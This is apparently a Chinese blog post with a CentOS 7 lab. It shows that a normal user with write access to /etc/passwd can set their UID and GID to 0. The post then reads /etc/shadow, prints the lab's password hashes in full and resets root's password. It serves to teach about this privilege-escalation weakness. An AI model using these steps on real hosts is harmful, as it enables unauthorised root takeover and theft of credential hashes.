linux系统中,普通用户可以通过修改/etc/passwd使用户获得root权限吗?

问题:我是一个普通用户zhangsan,假如我有对/etc/passwd文件的读写权限,我可以获得root权限从而实现对主机的完全控制吗

答:这是可行的。如果你有了对/etc/passwd文件的修改权限,那么你就可以修改你的UID和GID,而UID和GID是系统识别用户身份的唯一途径,一旦你将普通用户的UID和GID改成0,那么系统就会将你识别成root,你将拥有对系统的绝对访问权限。以下是实现方法和成功修改后权力展示。

一、实验环境

        系统:CentOS 7

        平台:VMware workstation 7.5

        root密码:321

二、 实验步骤

        (1)创建一个普通用户zhangsan,密码设为123。

[root@CentOS7 ~]# useradd zhangsan
[root@CentOS7 ~]# echo 123 | passwd --stdin zhangsan

                使用id命令查看zhangsan用户,我们可以看到zhangsan的UID和GID是1000,属于普通用户。

[root@CentOS7 ~]# id zhangsan
uid=1000(zhangsan) gid=1000(zhangsan) groups=1000(zhangsan)

                使用该用户查看密码文件,被拒绝,因为/etc/shadow文件不允许任何人查看(除了root)

[zhangsan@CentOS7 ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

                使用该用户创建一个文件,文件的所有者和所属组都是zhangsan(普通用户)。

[zhangsan@CentOS7 ~]$ touch 1.txt
[zhangsan@CentOS7 ~]$ ls -l
总用量 0
-rw-rw-r-- 1 zhangsan zhangsan 0 9月   5 06:39 1.txt

        (2)现在我们修改/etc/passwd文件,让zhangsan用户的UID和GID都是0。

  vim /etc/passwd

原来:

zhangsan:x:1000:1000::/home/zhangsan:/bin/bash

现在:

zhangsan:x:0:0::/home/zhangsan:/bin/bash

                 使用id命令查看zhangsan用户,我们看到属主和所属组都是root(0)。

[zhangsan@CentOS7 ~]$ id zhangsan
uid=0(root) gid=0(root) groups=0(root)

                使用该用户查看密码文件/etc/shadow,(注意要重新登录刷新bash环境才生效)我们发现居然可以查看密码文件,并且我们使用zhangsan@localhost他会自动识别成root用户,密码却是zhangsan的密码。

[root@CentOS7 ~]# ssh zhangsan@localhost
zhangsan@localhost's password: 
Last login: Thu Sep  5 06:53:44 2024 from 192.168.1.1

[root@CentOS7 ~]# cat /etc/shadow
root:$6$cL4.FRaN4cD1LkpD$TT5x8JgPHNCyb6cWawsGPrbJYFTncJtU6zs47AYTP4Z3SyqF0TzlR2q6laHRhLU6fxlk6Fxx1fSXiYJ/47JsA1:19970:0:99999:7:::
bin:*:18700:0:99999:7:::
daemon:*:18700:0:99999:7:::
adm:*:18700:0:99999:7:::
lp:*:18700:0:99999:7:::
sync:*:18700:0:99999:7:::
shutdown:*:18700:0:99999:7:::
halt:*:18700:0:99999:7:::
mail:*:18700:0:99999:7:::
operator:*:18700:0:99999:7:::
games:*:18700:0:99999:7:::
ftp:*:18700:0:99999:7:::
nobody:*:18700:0:99999:7:::
dbus:!!:19787::::::
systemd-coredump:!!:19787::::::
systemd-resolve:!!:19787::::::
tss:!!:19787::::::
polkitd:!!:19787::::::
unbound:!!:19787::::::
sssd:!!:19787::::::
sshd:!!:19787::::::
rpc:!!:19866:0:99999:7:::
rpcuser:!!:19866::::::
test:$6$EMsuVH6iHvSxosws$mC1IW0154wzGgZO2TcDDZEqOm8J8JldISSKOktWFZ/K0KbK8H6XZAjvoSjqxKgVSfczz0gzudhZJXt2FmBlFF.:19962:0:99999:7:::
zhangsan:$6$furkMmaUUpUp/.ls$aoTaqHPBBOP54uFGZzsisXn4qoOgCRHZ3iZ5Yigl011gEZZ2/ZhXBABkVdXlwzV2MQfasGP3l0oqjgI8a9qkH0:19970:0:99999:7:::

                使用该用户创建一个文件,我们发现他的所有者和所属组都是root (0)。

[root@CentOS7 ~]# touch 2.txt
[root@CentOS7 ~]# ls -l
总用量 0
-rw-rw-r-- 1 1000 zhangsan 0 9月   5 06:39 1.txt
-rw-r--r-- 1 root root     0 9月   5 07:00 2.txt

                查看家目录,我们发现家目录没有变,任然是/home/zhangsan。这和真正的root用户还是有一点区别。

[root@CentOS7 ~]# cd 
[root@CentOS7 ~]# pwd
/home/zhangsan

                使用该伪root用户修改真正root用户密码,我们发现成功了。

[root@CentOS7 ~]# echo 123 | passwd --stdin root
更改用户 root 的密码 。
passwd:所有的身份验证令牌已经成功更新。
[root@CentOS7 ~]# 

三、 总结,用户可以通过修改/etc/passwd实现越权行为从而达到完全控制主机的目的。

(1)修改/etc/passwd文件中的UID和GID为0,系统会错误识别该普通用户为root(效果类似于sudo命令),可以以root身份执行。

(2)修改后,原zhangsan用户创建的文件1.txt 的所有者已经消失,但是所属组【zhangsan组(1000)】任然存在。即,该1.txt文件不属于任何已知的用户,它只属于UID=1000。

(3)修改后zhangsan用户的家目录任然是/home/zhangsan,密码也任然是原zhangsan的密码,可以理解为出生自带sudo特权的“超级普通用户”。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值